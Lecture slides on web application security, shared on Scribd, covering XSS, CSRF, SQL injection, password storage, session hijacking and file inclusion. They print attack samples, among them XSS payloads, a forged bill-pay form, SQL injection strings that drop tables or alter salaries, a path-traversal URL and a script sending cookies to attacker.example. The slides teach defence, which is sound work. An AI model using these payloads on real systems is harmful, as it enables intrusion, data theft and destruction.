0% found this document useful (0 votes)
11 views207 pages

Web Security

The document discusses web application security, focusing on common vulnerabilities such as cross-site scripting, SQL injection, and session hijacking. It outlines the evolution of web applications, their benefits, and the importance of security measures during the software development lifecycle. Additionally, it highlights the role of cookies in user authentication and the significance of the same-origin policy in preventing attacks.

Uploaded by

Eva Balabantaray
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
11 views207 pages

Web Security

The document discusses web application security, focusing on common vulnerabilities such as cross-site scripting, SQL injection, and session hijacking. It outlines the evolution of web applications, their benefits, and the importance of security measures during the software development lifecycle. Additionally, it highlights the role of cookies in user authentication and the significance of the same-origin policy in preventing attacks.

Uploaded by

Eva Balabantaray
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 207

Information Security

CS364
Web Security Part 1

Prepared by
Niva Naik
TA- SVNIT

1
Contents (As per Syllabus)

• Web Application Security: Common Issues in


Web Apps, Basic Web Security Model
• Cross Side Scripting, SQL Injection, Password
Vulnerabilities, Session Hijacking, Local and
Remote File Inclusion
• Audit Trails, HTTPS, OWASP Security
Knowledge Framework, CAPTCHA
• User Authentication and Session Management
for Web Apps
• The Security Architecture of Web Browsers.
2
L1: Background of WebApp
Security

3
Web Evolution
• Past: Human usage
– Static Web pages (HTML)
• Current: Human and some automated usage
– Interactive Web pages
– Web Services Semantic Web (Web databases)
– XML technology (data exchange, data representation)
• Future: Semantic Web Services

4
Common Web Applications
Sample applications:
– Shopping
– Social Networking
– Banking
– Web Search
– Web mail
– Etc…
Common attacks against Web Applications: access to
sensitive information, DoS attacks, compromise of back-
end systems

5
Benefits of Web
Applications
• Convenience:
– Web browser-based applications replace traditional
client-server applications
– Browser software readily available
– Highly functional browsers
• HTTP connectionless and can be tunneled or
proxied
• Web application core technologies are relatively
“simple”

6
How the customer imagined it

Copyright: This and the following slides on


SDLC are modified from Project Cartoon
http://www.projectcartoon.com/cartoon/10787
What the business analyst
understood

8
How the architect designed it

9
What development believed the
architect was describing

10
How the programmer implemented
it

11
How the project manager explained
it

12
How the project was
documented

13
What operations installed

14
How the client was billed

15
Portion of original code that still
can be used

16
What the client really needed

17
So if software engineering is hard
already, why do we want to make
it harder by adding security
considerations?

18
Due to…

• Broken authentication – faulty application login


• Broken access control – application lack of
proper access control
• SQL Injection – not validated input data
• Cross-site scripting – shared application enables
attacks on other users
• Cross-site request forgery – trick application
users to carry out unintended actions

19
Software Security during SDLC

External Review
3. Penetration Testing

6. Security Requirements 1. Code Review


(Tools)
4. Risk-Based
2. Risk Analysis Security Tests 7. Security
5. Abuse cases 2. Risk Analysis Operations

Requirement and Architecture Tests and Feedback from


Test Plans Code
Use cases and Design Test Results the Field

From: G. McGraw, Software Security

20
Web Browser and Network
request
Browser Web
reply site
OS
Hardware Network

• Browser sends requests


• Web site sends response pages, which may include code
• Interaction susceptible to network attacks

21
Background
• Many sensitive tasks are done through web
– Online banking, online shopping
– Database access
– System administration

• Web applications and web users are targets of


many attacks
– Cross site scripting
– SQL injection
– Cross site request forgery
– Information leakage
– Session hijacking
22
Why Attacks on Web?

23
HTTP: HyperText Transfer Protocol
• Browser sends HTTP requests to the server
– Methods: GET, POST, HEAD, …
– GET: to retrieve a resource (html, image, script, css,…)
– POST: to submit a form (login, register, …)
– HEAD
• Server replies with a HTTP response
• Stateless request/response protocol
– Each request is independent of previous requests
– Statelessness has a significant impact on design and
implementation of applications

24
Use Cookies to Store State Info

• Cookies
– A cookie is a name/value pair created by a website to
store information on your computer
Enters form data
Browser
Server
Response + cookies

Request + cookies
Browser
Server
Returns data

Http is stateless protocol; cookies add state


25
Cookies Fields

• An example cookie from my browser


– Name session-token
– Content "s7yZiOvFm4YymG….”
– Domain .amazon.com
– Path /
– Send For Any type of connection
– Expires Monday, September 08, 2031 7:19:41 PM

26
Cookies
• Stored by the browser
• Used by the web applications
– used for authenticating, tracking, and maintaining
specific information about users
• e.g., site preferences, contents of shopping carts
– data may be sensitive
– may be used to gather information about specific
users

• Cookie ownership
– Once a cookie is saved on your computer, only the
website that created the cookie can read it

27
Web Authentication via Cookies

• HTTP is stateless
– How does the server recognize a user who has signed in?

• Servers can use cookies to store state on client


– After client successfully authenticates, server computes
an authenticator and gives it to browser in a cookie
• Client cannot forge authenticator on his own (session id)
– With each request, browser presents the cookie
– Server verifies the authenticator

28
A Typical Session with Cookies
client server

POST /login.cgi
Verify that this
client is authorized
Set-Cookie:authenticator

GET /restricted.html
Cookie:authenticator Check validity of
authenticator

Restricted content

Authenticators must be unforgeable and tamper-proof


(malicious clients shouldn’t be able to modify an existing authenticator)
But is it?

29
Big questions

• How much do I have to worry about security in


my web application?

• What kinds of common attacks can be


performed?
– What common bugs in my code lead to these flaws?

• What tools do attackers use?

• How can I prevent security problems in my code


30
and (hopefully) ensure overall system security?
Some common attacks
• A1: Injection
• A2: Cross-Site Scripting (XSS)
• A3: Broken Authentication and Session Management
• A4: Insecure Direct Object References
• A5: Cross-Site Request Forgery (CSRF)
• A6: Security Misconfiguration
• A7: Insecure Cryptographic Storage
• A8: Failure to Restrict URL Access
• A9: Insufficient Transport Layer Protection
• A10: Unvalidated Redirects and Forwards

31
Who does these attacks?
Hackers

32
Who are Hackers?

• A person
– Who uses a computer to look at and/or change
information on another computer without permission
– Who enjoys learning details of a programming
language or system and does hacking under
certification (Ethical hacker)

• Extremely intelligent hacker


• As a volunteer for the FBI, he saw a flaw in
the code for nuclear weapons and fixed it
• After convicted, many say he turned to the
“dark side”
• Now serving 13 years in Federal prison

33
L2: Types of Attacks on WebApp

34
Cross Site Scripting

35
Client Side Scripting
• Web pages (HTML) can embed dynamic contents
(code) that can be executed on the browser
• JavaScript
– embedded in web pages and executed inside browser
• Java applets
– small pieces of Java bytecodes that execute in
browsers
• Browser extensions (plug-ins) provide further
client-side programming abilities
– E.g., Flash

36
HTML and Scripting
<html>
Browser receives content, displays

HTML and executes scripts
<P>
<script>
var num1, num2, sum
num1 = prompt("Enter first number")
num2 = prompt("Enter second number")
sum = parseInt(num1) + parseInt(num2)
alert("Sum = " + sum)
</script>

</html>

37
Scripts are Powerful

• Client-side scripting is powerful and flexible, and


can access the following resources
– Local files on the client-side host
• read / write local files
– Webpage resources maintained by the browser
• Cookies
• Domain Object Model (DOM) objects
– steal private information
– control what users see
– impersonate the user
– Communicating with websites (via XMLHttpRequest)

38
Domain Object
Model (DOM)
• Object-oriented model
to represent webpages
that allow
programming access
in Javascript

39
Browser as an Operating System
• Web users visit multiple websites simultaneously
• A browser serves web pages (which may contain
programs) from different web domains
– i.e., a browser runs programs provided by mutually untrusted
entities
– Running code one does not know/trust is dangerous
– A browser also maintains resources created/updated by web
domains
• Browser must confine (sandbox) these scripts so that
they cannot access arbitrary local resources
• Browser must have a security policy to manage/protect
browser-maintained resources and to provide separation
among mutually untrusted scripts (same origin policy)
40
Sandbox
• A security mechanism for separating/limiting running
programs
– Running untrusted programs.
• E.g., javascripts in webpages, mobile apps
– Running programs that are likely to be exploited.
• E.g., network daemon programs
• Implementation: Clearly identify what resources a
program needs and cut off the rest
– Examples include operating system–level virtualization (such as
Unix chroot), virtual machine monitors (VMMs), Java applets,

41
Same Origin Policy

• The basic security model enforced in the browser


• SoP isolates the scripts and resources downloaded
from different origins
– E.g., evil.org scripts cannot access bank.com resources
• Use origin as the security principal
– Note that the concept of user accounts does not apply
here as security principals
• Origin = domain name + protocol + port
– all three must be equal for origin to be considered the
same

42
Same Original Policy: What it Controls

• Same-origin policy applies to the following accesses:


– manipulating browser windows
– URLs requested via the XmlHttpRequest
– manipulating frames (including inline frames)
– manipulating documents (included using the object tag)
– manipulating cookies

43
Problems with S-O Policy
• Poorly enforced on some browsers
– Particularly older browsers
• Limitations if site hosts unrelated pages
– Example: Web server often hosts sites for unrelated parties
• http://www.example.com/account/
• http://www.example.com/otheraccount/
– Same-origin policy allows script on one page to access properties
of document from another
• Can be bypassed in Cross-Site-Scripting attacks

44
Cross Site Scripting (XSS)

• Recall the basics


– scripts embedded in web pages run in browsers
– scripts can access cookies
• get private information
– and manipulate DOM objects
• controls what users see
– scripts controlled by the same-origin policy
• Why would XSS occur
– Web applications often take user inputs and use them
as part of webpage (these inputs can have scripts)

45
Cross-Site Scripting (XSS)

• 40% of the sites are affected by this attack


• It is code injection executed on client site of a
web app (web browser)
• Attacker injects malicious script through web
browser and it is executed when victim visits web
page
• Steals cookies, session tokens

46
How XSS Works on Online Blog
• Everyone can post comments, which will be displayed to
everyone who view the post
• Attacker posts a malicious comment that includes scripts
(which reads local authentication credentials and send of
to the attacker)
• Anyone who view the post can have local authentication
cookies stolen
• Web apps will check that posts do not include scripts,
but the check sometimes fail.
• Bug in the web application. Attack happens in browser.

47
Effect of the Attack

• Attacker can execute arbitrary scripts in browser

• Can manipulate any DOM component on


victim.com
– Control links on page
– Control form fields (e.g. password field) on this page
and linked pages.

• Can infect other users

48
Types of XSS

49
Types of XSS

• Stored/persistent XSS
• Reflected/non persistent XSS
• DOM (Document Object Model)

50
How XSS can be performed?

51
How XSS can be performed?
(Reflected)
• This is the most common and easiest script to
use.
• This type of injection is considered reflected,
meaning it’s reflected back to the user on the
web page and possibly in the URL, but it won’t
be there the next time a user visits the page.
• However, not all sites vulnerable to XSS are
vulnerable to it.

52
How XSS can be performed?
(Reflected)
• In Damn Vulnerable Web App(DVWA), click XSS
reflected. Notice the user input field.

• (1) Enter your name and click Submit.

53
How XSS can be performed?
(Reflected)
• Notice the search argument reflected on the web
page and in the URL

54
How XSS can be performed?
(Reflected)
• (2) Replace the search item in URL with this
payload and hit : <enter>: <script>
alert(‘XSS’);</script>

• Notice the XSS popup.

55
How XSS can be performed?
(Reflected)
• Now enter the same payload in the key-in field
and click Submit.

• The same XSS popup displays.

56
How XSS can be performed?
(Reflected)
• (3) When I try to fetch sensitive information using
cookies

57
How XSS can be performed?
(Reflected)
• Using tool like Burp Suit, one can login and
attack on sensitive westies such as bank

58
How XSS can be performed?
(Stored)
• (1) In DVWA, click XSS stored. You’ll see
opening screen

59
How XSS can be performed?
(Stored)
• Enter a name in the Name field and the following
HTML comment tag in the Message field and
click Sign Guestbook

60
How XSS can be performed?
(Stored)
• Notice how the page displays now. You have
commented out the code for the missing parts of
this web page.

61
How XSS can be performed?
(Stored)
• This attack is more of an annoyance than
anything else. But it’s useful if you need to prove
that tags can be injected into a site, though it
doesn't necessarily mean that XSS is possible.
• It does, however, indicate a lack of input
validation. Use this on a forum site susceptible to
stored XSS and the code will stay in the
comments field.

62
How XSS can be performed?
(Stored/ Persistent))
• This type of injection is considered persistent, or
stored, meaning the code is injected into the
server and permanently displayed to successive
users.
• A web forum or guest book is a great place to
inject a script. Now, any time someone visits that
page, they’ll be hit with the attack.

63
How XSS can be performed?
(Stored/ Persistent))
• (2) Click the XSS stored link in DVWA

• Enter a name in Name field and the <script>


alert(‘XSS’); </script> script in Message field and
click Sign Guestbook.

64
How XSS can be performed?
(Stored/ Persistent))
• Notice the popup.

65
How XSS can be performed?
(Stored/ Persistent))
• Click OK on the popup. Notice that the
guestbook shows an empty message.
• Also, previous message is there.
• It appears that someone didn’t enter a message.

66
How XSS can be performed?
(Stored/ Persistent))
• However, right-click in the message area and
choose Inspect Element.

67
How XSS can be performed?
(Stored/ Persistent))

Every time you refresh, you’ll see the


same message

68
How XSS can be performed?
(Stored/ Persistent))
• See how the script is embedded in the page?
• That means that it’s permanently a part of the
web page’s code.
• If you refresh the page, the script will
execute, causing the popup to happen again.

69
How XSS can be performed?
(Stored/ Persistent))
• If you navigate to another part of DVWA and
come back to the XSS stored page, you’ll get the
popup.
• Even if you log out of DVWA and log back in
again, you’ll get the popup.
• And if this happens on a live, production website,
everybody who visits the page will get the popup.

70
How XSS can be performed?
(Stored/ Persistent))
• The only to rid your site of this script in DVWA is
to reset the database. It’s a lot more trouble to fix
on a live, production website, though
• Note: This popup is innocuous. But suppose
an attacker embedded a malicious script in
the page…

71
How to prevent cross-site scripting

72
How to prevent cross-site
scripting?
• User input validation and sanitization
• Encode the output
• Use right response header
• Use content security policy

73
Cross site request
forgery

74
Cross site request forgery (abbrev.
CSRF or XSRF)
• Also known as one click attack or session
riding
• Effect: Transmits unauthorized commands from a
user who has logged in to a website to the
website.
• Recall that a browser attaches cookies set by
domain X to a request sent to domain X; the
request may be from another domain
– Site Y redirects you to facebook; if you already logged
in, the cookie is attached by the browser

75
CSRF Explained
• Example:
– User logs in to bank.com. Forgets to sign off.
– Session cookie remains in browser state

– Then user visits another site containing:


<form name=F action=http://bank.com/BillPay.php>
<input name=recipient value=badguy> …
<script> document.F.submit(); </script>
– Browser sends user auth cookie with request
• Transaction will be fulfilled

• Problem:
– The browser is a confused deputy; it is serving both the
websites and the user and gets confused who initiated a
request
76
Real World CSRF Vulnerabilities

• Gmail
• NY Times
• ING Direct (4th largest saving bank in US)
• YouTube
• Various DSL Routers
• Purdue WebMail
• PEFCU
• Purdue CS Portal
• …
77
Prevention
• Server side:
– use cookie + hidden fields to authenticate a web form
• hidden fields values need to be unpredictable and user-
specific; thus someone forging the request need to guess the
hidden field values
– requires the body of the POST request to contain cookies
• Since browser does not add the cookies automatically,
malicious script needs to add the cookies, but they do not
have access because of Same Origin Policy
• User side:
– logging off one site before using others
– selective sending of authentication tokens with requests (may
cause some disruption in using websites)

78
Coming Attractions …

• More Web Security Issues


– SQL injection
– Side channel information leakage
– Browser fingerprinting

79
SQL injection

80
Basic Structure of Web
Traffic
Relational Database
Elements
Brief Tutorial of SQL
✑ Log in to MySQL: We will use MySQL database, which is an open-source
relational
database management system. We can log in using the following command:

✑ Create a Database: Inside MySQL, we can create multiple databases. “SHOW


DATABSES” command can be used to list existing databases. We will create a
new database called dbtest:
SQL Tutorial: Create a
Table
✑ A relational database
organizes its data using
tables. Let us create a table
called employee with seven
attributes (i.e. columns) for
the database “dbtest”

☛ We need to let the system know


which database to use as there may
be multiple databases

☛ After a table is created, we can use


describe to display the structure of
the table
SQL Tutorial: Insert a
Row
✑ We can use the INSERT INTO statement to insert a new record into a table
:

✑ Here, we insert a record into the “employee” table.

✑ We do not specify a value of the ID column, as it will be automatically set by


the database.
SQL Tutorial: SELECT
Statement
✑ The SELECT statement is the most common operation on databases
✑ It retrieves information from a database
Asks the database for all its records, including all the columns

Asks the database


only for Name, EID
and Salary columns
SQL Tutorial: WHERE
Clause
✑ It is uncommon for a SQL query to retrieve all records in a database.
✑ WHERE clause is used to set conditions for several types of SQL statements
including SELECT, UPDATE, DELETE etc.

✑ The above SQL statement only reflects the rows for which the predicate in the
WHERE clause is TRUE.
✑ The predicate is a logical expression; multiple predicates can be combined using
keywords AND and OR.
✑ Lets look at an example in the next slide.
SQL Tutorial: WHERE
Clause
✑ The first query returns a record that has EID5001 in EID
field

✑ The second query returns the records that satisfy either EID=‘EID5001’
or Name=‘David’
SQL Tutorial: WHERE
Clause
✑ If the condition is always True, then all the rows are affected by the SQL
statement

✑ This 1=1 predicate looks quite useless in real queries, but it will become useful in
SQL Injection attacks
SQL Tutorial: UPDATE
Statement

✑ We can use the UPDATE Statement to modify an existing


record

90
SQL Tutorial: Comments
MySQL supports three comment styles
✑ Text from the # character to the end of line is treated as a
comment
✑ Text from the “--” to the end of line is treated as a comment.
✑ Similar to C language, text between /* and */ is treated as a
comment
Interacting with Database
in Web Application
✑ A typical web application consists of three major components:

✑ SQL Injection attacks can cause damage to the database.


☛ As we notice in the figure, the users do not directly interact with the database but through a web server.
☛ If this channel is not implemented properly, malicious users can attack the database.
Getting Data from User
✑ This example shows a form where users can type their data. Once the submit button
is
clicked, an HTTP request will be sent out with the data attached

✑ The HTML source of the above form is given


below:

✑ Request generated
is:
Getting Data from User
✑ The request shown is an HTTP GET request, because the method field in the
HTML code specified the get type

✑ In GET requests, parameters are attached after the question mark in the
URL
Each parameter has a name=value pair and are separated by “&”

In the case of HTTPS, the format would be similar but the data will be
✑ encrypted
✑ Once this request reached the target PHP script the parameters inside the
HTTP request will be saved to an array $_GET or $_POST.
☛ The following example shows a PHP script getting data from a GET request
How Web Applications
Interact withDatabase
Connecting to MySQL Database
✑ PHP program connects to the database server before conducting query on
database using.
✑ The code shown below uses new mysqli(…) along with its 4 arguments to
create the database connection.
How Web Applications Interact with
Database
✑ Construct the query string and then send it to the database for execution.
✑ The channel between user and database creates a new attack surface for
the
database.
Launching SQL Injection Attacks
✑ Everything provided by user will become part of the SQL statement.
☛ Is it possible for a user to change the meaning of the SQL statement?
✑ The intention of the web app developer by the following is for the user to
provide some data for the blank areas.

✑ Assume that a user inputs a random string in the password entry and
types
“EID5002’#” in the eid entry. The SQL statement will become the following
Launching SQL Injection Attacks
✑ Assume that a user inputs a random string in the password entry and
types
“EID5002’#” in the eid entry. The SQL statement will become the following

✑ Everything from the # sign to the end of line is considered as


comment.
☛ The SQL statement will be equivalent to the following:

✑ The above statement will return the name, salary and SSN of the employee whose
EID is EID5002 even though the user doesn’t know the employee’s password.
☛ This is security breach.
Launching SQL Injection Attacks

✑ Let’s see if a user can get all the records from the database assuming that
we
don’t know all the EID’s in the database.
☛ We need to create a predicate for WHERE clause so that it is true for all records.
Problem
✑ Assume that a database only stores the sha256 value for the
password and eid columns.
☛ The following SQL statement is sent to the database, where the values of the
$passwd and $eid variables are provided by users.
☛ Does this program have a SQL injection problem.

✑ Answer:
✑ It still has a SQL injection problem.
☛ For example, we can let eid be “x, 256)’ OR 1=1 #”.
Prob
lem
✑ This problem is similar to previous problem except that the hash value is
not calculated inside the SQL statement;
☛ it is calculated in the PHP code using PHP’s hash() function.
☛ Does this modified program have a SQL injection problem?
$hashed_eid = hash(’sha256’, $eid);
$hashed_passwd = hash(’sha256’, $passwd);
$sql = "SELECT * FROM employee
WHERE eid=’$hashed_eid’ and password=’$hashed_passwd’";

✑ Answer: No. This program does not have a SQL injection problem.
☛ Whatever code included in eid and passwd is already changed to something else, most likely non-
code, due to the hash() function in the PHP code.
☛ In this case, although there is still a chan
☛ nel between remote users and the database, the data in the channel is modified, making it
difficult, if possible, for attackers to send code via this data channel.
Problem
✑ The following SQL statement is sent to the database, where $eid and
$passwd contain data provided by the user. An attacker wants to try to get
the database to run an arbitrary SQL statement. What should the attacker
put inside $eid or $passwd to achieve that goal. Assume that the database
does allow multiple statements to be executed.
$Sql = "SELECT * FROM employee WHERE eid=’$eid’ and
password=’$passwd’"

✑ - Answer: We can put the following in


$eid:
☛ x’; DROP TABLE employee; #
Launching SQL Injection Attacks using
cURL
✑ More convenient to use a command-line tool to launch attacks.
☛ Easier to automate attacks without a graphic user interface.
☛ Using cURL, we can send out a form from a command-line, instead of from a web page.

✑ The above command will not work.


☛ In an HTTP request, special characters that are in the attached data needs to be encoded or they
maybe mis-interpreted.
✑ In the above URL we need to encode the apostrophe, whitespace and the # sign and
the resulting cURL command is as shown below:
Typical SQL Injection
Attack
Modify Database
✑ If the statement is UPDATE or
INSERT INTO, we will have chance
to change the database.
✑ Consider the form created for
changing passwords. It asks users
to fill in three pieces of
information, EID, old password
and new password.
✑ When Submit button is clicked, an
HTTP POST request will be sent to
the server-side script
changepasswd.php, which
uses an UPDATE statement to
change the user’s password.
Modify Database
✑ Let us assume that Alice (EID5000) is not satisfied with the salary she gets. She would like to
increase her own salary using the SQL injection vulnerability. She would type her own EID and
old password. The following will be typed into the “New Password” box :

✑ By typing the above string in “New Password” box, we get the UPDATE statement to set one
more attribute for us, the salary attribute. The SQL statement will now look as follows.

✑ What if Alice doesn’t like Bob and would like to reduce Bob’s salary to 0, but she only knows
Bob’s
EID (eid5001), not his password. How can she execute the attack?
Multiple SQL Statements
✑ Damages that can be caused are bounded because we cannot change everything in
the existing SQL statement.
✑ It will be more dangerous if we can cause the database to execute an arbitrary SQL
statement.
✑ To append a new SQL statement “DROP DATABASE dbtest” to the existing SQL
statement to delete the entire dbtest database, we can type the following in the EID
box

✑ The resulting SQL statement is equivalent to the following, where we have


successfully appended a new SQL statement to the existing SQL statement string.

✑ The above attack doesn’t work against MySQL, because in PHP’s mysqli extension,
the mysqli::query() API doesn’t allow multiple queries to run in the database server.
Multiple SQL Statements
✑ The code below tries to execute two SQL statements using the $mysqli->query()
API

✑ When we run the code, we get the following error


message:

✑ If we do want to run multiple SQL statements, we can use $mysqli ->


multi_query(). [not recommended]
The Fundamental Cause – Injection
Attacks
Mixing data and
code together is the
cause of several
types of
vulnerabilities and
attacks including
SQL Injection
attack, XSS attack,
attacks on the
system() function
and format string
attacks.
Password
Vulnerabilities

110
User Authentication
The process of verifying a claim that a system entity or
system resource has a certain attribute value.

— R. Shirey, “Internet Security Glossary, Version 2”, IETF


RFC4949
Two Steps of Authentication
1. Identification step: presenting an identifier to the security
system
) E.g. user ID
) Generally unique but not secret
2. Verification step: presenting or generating authentication
information that acts as evidence to prove the binding between
112/
the attribute and that for which it is claimed.
28
) E.g. password, PIN, biometric information
) Often secret or cannot be generated by others
User authentication is primary line of defence in computer security;
other security controls rely on user authentication
Means of Authentication
Something the individual . . .
Knows
► E.g. password, PIN, question answers

Possesses
► Token, e.g. keycards, smart card, physical key

Is
► Static biometrics, e.g. fingerprint, retina, face

Does
► Dynamic biometrics, e.g. voice pattern, handwriting,
typing rhythm
Password-Based Authentication
► Many multiuser computer systems used combination of ID and
password for user authentication
► System initially stores username and password
► User submits username/password to system; compared against stored
114/2
values; if match, user is authenticated
8

► Identity (ID) and password:


) Determines whether user us authorised to gain access to system
) Determines privileges of user, e.g. normal or superuser
) Used in access control to grant permissions to resources for user
Vulnerability of Passwords
• Offline dictionary attack
• Special account attack
• Popular password attack
• Password guessing against the single
user
• Computer hijacking
• Exploiting user mistakes
• Exploiting multiple password use
• Electronic monitoring
Vulnerability of Passwords
Offline Dictionary Attack Attacker obtains access to
ID/password (hash) database; use dictionary to find
passwords
► Countermeasures: control access to database; reissue
passwords if compromised; strong hashes and salts
116/2
Specific Account Attack Attacker submits password guesses on
specific account
8

► Countermeasure: lock account after too many failed


attempts (Quiz ex – DoS attack)
Popular Password Attack Try popular password with many IDs
► Countermeasures: control password selection; block
computers that make multiple attempts (Firewall)
Vulnerability of Passwords
Password Guessing Against Single User Gain knowledge about
user and use that to guess password
► Countermeasures: control password selection; train users
in password selection
Computer Hijacking Attackers gains access to computer that user
currently logged in to
117/2
8

► Countermeasure: auto-logout
Exploiting User Mistakes Users write down password, share with
friends, tricked into revealing passwords, use
pre-configured passwords
► Countermeasures: user training, passwords plus
other authentication
Vulnerability of Passwords
Exploiting Multiple Password Use Passwords re-used across different
systems/accounts, make easier for attacker to access resources
once one password discovered
► Countermeasure: control selection of passwords on
multiple account/devices
Electronic Monitoring Attacker intercepts passwords sent across
network
► Countermeasure: encrypt communications that send
passwords
Strength of Passwords
► Entropy used as indicator of password strength
) Password with entropy of n bits is equivalent to n-bit key at
withstanding brute force
) How many bits needed to represent symbols from symbol set:
) Digits, 0 . . . 9: 3.32
) English letters, a . . . z: 4.70
) Printable ASCII characters (94): 6.55
119/2
8
) Difficult to estimate entropy, hence, NIST have approximations

Password entropy formula


E = L × log2(R)
•E is your password entropy
•R is the possible range of character types in your password (the tables show above)
•L is the number of characters in your password (its length)
•Log2 answers the question “to what power 2 must be raised to equal this number”
Storing Passwords
► Upon initial usage, user ID and password are registered with system
► ID, password (or information based on it), and optionally other user
information stored on system, e.g. in file or database
► To access system, user submits ID and password, compared
120/2
8 against stored values
► How should passwords be stored?
Storing Passwords in the Clear
ID, P
►Countermeasure: access control on password database
Insider attack: admin user reads the database and learns other users
passwords

121/2
►Countermeasure: none—admin users must be trusted!
Outsider attack: attacker gains unauthorised access to database
8

and learns all passwords


► Countermeasure: do not store passwords in the clear
Encrypting the Passwords
ID, E(K, P)

► Encrypted passwords are stored


► When user submits password, it is encrypted and compared
to the stored value
► Drawback: Secret key, K , must be stored (on file or memory); if
attacker can read database, then likely they can also read K
Hashing the Passwords
ID, H(P)

► Hashes of passwords are stored


► When user submits password, it is hashed and compared to the stored
value
► Complexities:
) Variable sized input; produce a fixed length, small output
) Some shows collisions
Salting Passwords (Best practice)
ID, Salt, H(P||Salt)

► When ID and password initially created, generate random s-bit


value (salt), concatenate with password and then hash
► When user submits password, salt from password database is
124/2
8
concatenated, hashed and compared
► If attacker gains database, they know the salt; same effort to find
password as brute force attack
► BUT pre-calculated values (e.g. Rainbow tables) are no longer
feasible
) Space required increased by factor of 2s
Session Hijacking

125
Session Hijacking

• TCP session hijacking is when a hacker takes


over a TCP session between two machines
• Since most authentication only occurs at the start
of the TCP session, this allows the hacker to gain
access to a machine

126
Spoofing V/S Hijacking

• An attacker does not actively take another user


offline to perform the attack. He pretends to be
another user, or machine to gain access

127
Spoofing V/S Hijacking

• With hijacking an attacker takes over an existing


session, which means he relies on the legitimate
user to make a connection and authenticate
• Subsequently, the attacker takes over the
session

128
Steps of session hijacking

• Place yourself between the victim and the


target(you must be able to sniff the network)
• Monitor the flow of packets
• Predict the sequence number
• Kill the connection to the victim’s machine
• Take over the session
• Start injecting packets to the target

129
Types of hijacking

• Active: attack on active session


• Passive: attacker hijacks a session,but sits back
and watches and records all the traffic that is
being sent forth

130
Session hijacking levels

• Network level: intercepts of the packets during


the transmission between client and the server in
a TCP and UDP session
• Application level: it is about gaining control on
HTTP user session by obtaining the session Id’s

131
Network layer

• It is most attractive to hijackers because it


provides some critical information to the attacker
which is used to attack application-level sessions
• TCP/IP hijacking
• Blind hijacking
• Man in the middle

132
The 3-way handshake

• If attacker can anticipate the next seq/ack


number Bob will send, he will spoof Bob’s
address and start a communication with the
server

133
Sequence number

• They are important in providing reliable


communication and are also crucial for hijacking
session
• They are 32-bit counter. Therefore, the possible
combination can be over 4 billion
• They are used to tell the receiving machine that
what order the packets should go in, when they
are received
• Therefore, an attacker must guess the sequence
number
134
Sequence number

• The sequence number after successful


connection is predictable; the attack connects to
the server first with its own IP address, record
the sequence number chosen, then opens a
second connection from forged IP address

135
TCP/IP hijacking

• A technique used to gain unauthorized access to


the computers, whereby the intruder sends the
message to a server with an IP address
indicating the message is coming from the host
• The attacker must be on the same network as
the victim

136
TCP/IP hijacking

137
Blind hijacking

• An attacker injects the data such as malicious


commands into intercepted communication
between two hosts
• The hacker can send data or comments but has
no access to see the response

138
Man in the middle attack

• In this, the packet sniffer is used to interface


between the client and the server
• The packets between the client and the server
are routed through the hijacker’s host

139
Application layer session hijacking

• In this level, the hacker gains the session ID to


get control of the existing session
• It may create a new unauthorized session
• It includes attacks such as, obtaining session
IDs, sniffing, brute force

140
Tools for session hijacking

• Wireshark: sniffing packets


• Hunt: sequence number prediction
• TTY watcher: control user system
• Juggernaut: flow across the network

“Ideas without implementation is a hallucination”

141
Protection against session hijacking

• Use encryption
• Use secure protocol for communication
• Limit incoming connection
• Anti-virus software
• Educate employees

142
File Inclusion

143
What is file inclusion?

• File Inclusion is a security flaw in web


applications that allows unauthorized users to
access files, provide download functionality,
look for information, and so on.
• File Inclusion vulnerability allows an attacker to
include a file, usually exploiting a “dynamic file
inclusion” mechanisms implemented in the target
application.

144
What is file inclusion?

• The Web Technology Surveys indicate that a


whopping 79.2% of all websites use PHP. This
means that majority of today’s web applications
are at risk.
• The vulnerability occurs due to the use of user-
supplied input without proper validation.

145
What is file inclusion?

• Input validation
– The application trusts/ doesn’t validate user input
• The code includes/imports other pages
• Dynamic including of the page
– When PHP includes a file it will parse any PHP code
within that file (“<?php” and “?>”

146
How the attack works?

147
Types of file inclusion

• There are two types of the file inclusion:


• (1) Local file inclusion
• (2) Remote file inclusion

148
Local file inclusion

• When writing web applications, developers often


need to access additional server-side files
located in the application directory or its
subdirectories.
• For example, developers may want to include
configuration files and application modules or to
access and display files uploaded by users, such
as images or text files.

149
Local file inclusion

• To access non-static files, developers commonly


pass filenames via user input parameters.
• For example, if the application is to display
images uploaded by users, the author of the
application may decide to allow arbitrary names
for these images.
• In the case of scripting languages like PHP,
developers may also need to dynamically include
files that contain source code.

150
Local file inclusion

• Local file inclusion vulnerabilities happen when a


malicious user can include an arbitrary file name
or path in user input.
• For example, if an application is designed to
display an arbitrary image based on a URL
parameter, but an attacker is able to use this
functionality to display application source code,
that application has an LFI vulnerability.

151
Example of local file inclusion

• LFI that leads to sensitive information disclosure


– The developer of a PHP application wants the user to
be able to read poems stored in text files on the web
server.
– These poems are written to text files, uploaded by
other users, and stored in a relative poems directory.
– Then, the poems are displayed in the web browser as
part of the HTML page.

152
Example of local file inclusion

• The following is a code snippet from the


poems/display.php file.

153
Example of local file inclusion

• As you can see, the filename is taken directly


from the HTTP request header. Therefore, you
can access and display a poem called poem.txt
using the following URL:

• http://victim.example/my_app/display.php?file=po
em.txt

154
Example of local file inclusion

• The attack vector: The attacker abuses this script


by manipulating the GET request using the
following payload:
• http://victim.example/my_app/display.php?file=../
config/database.php

155
Example of local file inclusion

• The display.php navigates up to the document


root directory and then down to the /config/
subdirectory.
• There, it includes the database configuration file
database.php, which contains the username and
password used to connect to the database.
• The data is exposed as part of the HTML code
and the attacker just needs to examine the
source code of the page to learn how to access
the database directly.
156
Example of local file inclusion

• The attacker can also add cross site scripting to


it using:
<script>fetch("http://attacker.example?
log="+encodeURIComponent(document.cooki
e));</script>

157
Consequences of local file
inclusion
• If the application displays arbitrary images, it can
be used to display sensitive information such as
source code or configuration files.
• If the application allows you to download
arbitrary files such as PDF files, it can be used to
download sensitive information such as source
code or configuration files.

158
Consequences of local file
inclusion
• If the application includes arbitrary file content as
part of the HTML page, it can be used to exploit
